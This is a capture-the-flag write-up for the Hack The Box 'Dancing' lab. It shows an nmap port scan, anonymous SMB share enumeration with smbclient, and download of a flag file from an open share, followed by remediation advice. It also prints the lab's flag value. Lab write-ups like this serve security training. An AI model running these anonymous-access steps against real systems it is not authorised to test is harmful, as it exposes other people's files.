

HTB Dancing writeup

#SMB

#writeup

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Executive summary

There are many ways to share files between computers and their users. In this case, a service called SMB (Server Message Block) was set up to share files. This is a common way of sharing files in a Windows environment. It was vulnerable due to misconfiguration by allowing a guest user with no credentials to access the files.

Enumeration

Nmap was used for initial enumeration, scanning open TCP ports:

```
(root@kali) - [~/home/kali/Desktop]
# cat nmap_ports.txt
# Nmap 7.99 scan initiated Thu Jul  9 06:00:02 2026 as: /usr/lib/nmap/nmap -p- -Pn -v --min-rate 1000
--max-rtt-timeout 1000ms --max-retries 5 -oN nmap_ports.txt 10.129.86.31
Nmap scan report for 10.129.86.31
Host is up (0.027s latency).
Not shown: 65524 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
5985/tcp   open  wsman
47001/tcp  open  winrm
49664/tcp  open  unknown
49665/tcp  open  unknown
49666/tcp  open  unknown
49667/tcp  open  unknown
49668/tcp  open  unknown
49669/tcp  open  unknown

Read data files from: /usr/share/nmap
# Nmap done at Thu Jul  9 06:00:25 2026 -- 1 IP address (1 host up) scanned in 22.70 seconds
```

Notable ports are:

- TCP 139 - Legacy SMB protocol component
- TCP 445 - SMB

Initial access

We try to check if we are able to list the shares of the network as anonymous (no password):

```
(root@kali)-[~]
# smbclient -L "//$target/"
Password for [WORKGROUP\root]:

      Sharename      Type      Comment
      ──────────      ───      ─────────
      ADMIN$         Disk      Remote Admin
      C$             Disk      Default share
      IPC$           IPC       Remote IPC
      WorkShares     Disk

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.86.134 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

There are 4 shares which is accessible over the network, which we can try to access:

```
(root@kali)-[~]
# smbclient //$target/ADMIN$ -N -L
tree connect failed: NT_STATUS_ACCESS_DENIED

(root@kali)-[~]
# smbclient //$target/C$ -N -L
tree connect failed: NT_STATUS_ACCESS_DENIED

(root@kali)-[~]
# smbclient //$target/IPC$ -N -L
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit

(root@kali)-[~]
#
```

The first two fail, and the third one is an administrative shares which we will let be for now, perhaps getting back to it later.

We do get access to the "WorkShares" share:

```
(root@kali)-[~]
# smbclient //$target/WorkShares -N -L
Try "help" to get a list of possible commands.
smb: \> ls

.                D           0   Thu Jul  9 10:55:24 2026
..               D           0   Thu Jul  9 10:55:24 2026
Amy.J            D           0   Mon Mar 29 05:08:24 2021
James.P          D           0   Thu Jun  3 04:38:03 2021

5114111 blocks of size 4096. 1734209 blocks available
smb: \> cd Amy.J\
smb: \Amy.J\> ls

.                D           0   Mon Mar 29 05:08:24 2021
..               D           0   Mon Mar 29 05:08:24 2021
worknotes.txt    A          94   Fri Mar 26 07:00:37 2021
```

Poking around, we fetch "worknotes.txt" and then we check the other folder James.P:

```
smb: \> cd James.P\  
smb: \James.P\> ls  
.  
..  
flag.txt  
D 0 Thu Jun 3 04:38:03 2021  
D 0 Thu Jun 3 04:38:03 2021  
A 32 Mon Mar 29 05:26:57 2021  
  
5114111 blocks of size 4096. 1471684 blocks available  
smb: \James.P\> get flag.txt  
getting file \James.P\flag.txt of size 32 as flag.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)  
smb: \James.P\> █
```

```
# cat flag.txt  
5f61c10dffbc77a704d76016a22f1664
```

```
(root@kali)~[~]  
# target=10.129.86.134
```

```
(root@kali)~[~]  
# cat flag.txt
```

```
(root@kali)~[~]  
# █
```

In the upper terminal we get the flag, and in the lower one we write it out, which concludes this machine.

Remediation / Suggestions

Guest and anonymous access should be disabled. Some suggestions include:

- Set the browsable setting to "no"
- Set the guest ok to "no"

SMB should also be configured to only allow access to shares after authenticating.